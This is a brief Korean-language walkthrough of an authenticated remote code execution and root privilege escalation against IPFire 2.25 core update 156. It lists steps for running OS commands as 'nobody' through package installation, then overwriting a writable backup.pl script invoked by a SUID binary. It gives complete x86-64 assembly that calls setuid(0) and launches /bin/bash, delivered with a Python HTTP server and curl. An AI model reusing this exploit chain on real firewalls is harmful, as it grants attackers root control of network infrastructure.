Ipfire 2-25 (core update 156) 인증된 RCE

• 패킷 설치 시 시스템 명령 실행

• 시스템이 HTML만으로 7zip을 가져옴

• 그리고 tmp 디렉터리 확인

• 버전 2.25 - core update 156

• ipfire는 로그인 후 nobody 권한으로 임의의 OS 명령 실행을 허용함

루트가 되자!

• SUID 바이너리 확인

• 백업 프로그램이 다른 스크립트를 실행함. /var/ipfire/backup/bin/backup.pl (bash 스크립트이며 권한이 매우 좋아 보임)

• bash 스크립트에 쓰기를 시도함. (오류 없음. 좋음!)

• bash 실행 시도

• 네, 실행은 가능하지만 낮은 권한입니다. setuid(0)을 트리거해야 합니다!
• 이것을 저장하고 alti name.asm q 실행
• alti는 soo_deep 저장소에 있는 제가 직접 만든 컴파일 확인 프로그램입니다.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• 그리고 새 프로그램을 /var/ipfire/backup/bin/backup.pl에 작성합니다. (python http 서버와 curl로 작성할 수 있습니다)

• 그리고 루트 셸을 즐기세요!